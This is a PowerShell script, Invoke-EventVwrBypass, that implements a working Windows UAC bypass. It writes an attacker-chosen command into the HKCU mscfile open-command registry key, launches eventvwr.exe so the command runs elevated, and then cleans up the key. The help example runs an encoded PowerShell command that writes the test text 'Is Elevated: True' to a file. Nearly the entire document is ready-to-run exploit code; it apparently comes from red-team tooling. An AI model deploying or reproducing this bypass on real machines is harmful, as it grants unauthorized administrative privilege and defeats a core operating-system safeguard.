Invoke-EventVwrBypass.ps1

function Invoke-EventVwrBypass {
<#
.SYNOPSIS

Bypasses UAC by performing an image hijack on the .msc file extension
Expected to work on Win7, 8.1 and Win10

Only tested on Windows 7 and Windows 10

Author: Matt Nelson (@enigma0x3)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None

.PARAMETER Command

 Specifies the command you want to run in a high-integrity context. For example, you can pass it powershell.exe followed by any encoded command "powershell -enc <encodedCommand>"

.EXAMPLE

Invoke-EventVwrBypass -Command "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -enc IgBJAHMAIABFAGwAZQB2AGEAdABlAGQAOgAgACQAKAAoAFsAUwBlAGMAdQByAGkAdAB5AC4AUAByAGkAbgBjAGkAcABhAGwALgBXAGkAbgBkAG8AdwBzAFAAcgBpAG4AYwBpAHAAYQBsAF0AWwBTAGUAYwB1AHIAaQB0AHkALgBQAHIAaQBuAGMAaQBwAGEAbAAuAFcAaQBuAGQAbwB3AHMASQBkAGUAbgB0AGkAdAB5AF0AOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAKAApACkALgBJAHMASQBuAFIAbwBsAGUAKABbAFMAZQBjAHUAcgBpAHQAeQAuAFAAcgBpAG4AYwBpAHAAYQBsAC4AVwBpAG4AZABvAHcAcwBCAHUAaQBsAHQASQBuAFIAbwBsAGUAXQAnAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAJwApACkAIAAtACAAJAAoAEcAZQB0AC0ARABhAHQAZQApACIAIAB8ACAATwB1AHQALQBGAGkAbABlACAAQwA6AFwAVQBBAEMAQgB5AHAAYQBzAHMAVABlAHMAdAAuAHQAeAB0ACAALQBBAHAAcABlAG4AZAA="

This will write out "Is Elevated: True" to C:\UACBypassTest.

#>

    [CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'Medium')]
    Param (
        [Parameter(Mandatory = $True)]
        [ValidateNotNullOrEmpty()]
        [String]
        $Command,

        [Switch]
        $Force
    )

    $mscCommandPath = "HKCU:\Software\Classes\mscfile\shell\open\command"
    #Add in the new registry entries to hijack the msc file
    if ($Force -or ((Get-ItemProperty -Path $mscCommandPath -Name '(default)' -ErrorAction SilentlyContinue) -eq $null)){
        New-Item $mscCommandPath -Force |
            New-ItemProperty -Name '(Default)' -Value $Command -PropertyType string -Force | Out-Null
    }else{
        Write-Verbose "Key already exists, consider using -Force"
        exit
    }

    if (Test-Path $mscCommandPath) {
        Write-Verbose "Created registry entries to hijack the msc extension"
    }else{
        Write-Warning "Failed to create registry key, exiting"
        exit
    }
    

    $EventvwrPath = Join-Path -Path ([Environment]::GetFolderPath('System')) -ChildPath 'eventvwr.exe'

    #Start Event Viewer
    if ($PSCmdlet.ShouldProcess($EventvwrPath, 'Start process')) {
        $Process = Start-Process -FilePath $EventvwrPath -PassThru
        Write-Verbose "Started eventvwr.exe"
    }

    #Sleep 5 seconds 
    Write-Verbose "Sleeping 5 seconds to trigger payload"
    if (-not $PSBoundParameters['WhatIf']) {
        Start-Sleep -Seconds 5
    }

    $mscfilePath = "HKCU:\Software\Classes\mscfile"

    if (Test-Path $mscfilePath) {
        #Remove the registry entry
        Remove-Item $mscfilePath -Recurse -Force
        Write-Verbose "Removed registry entries"
    }

    if(Get-Process -Id $Process.Id -ErrorAction SilentlyContinue){
        Stop-Process -Id $Process.Id
        Write-Verbose "Killed running eventvwr process"
    }
}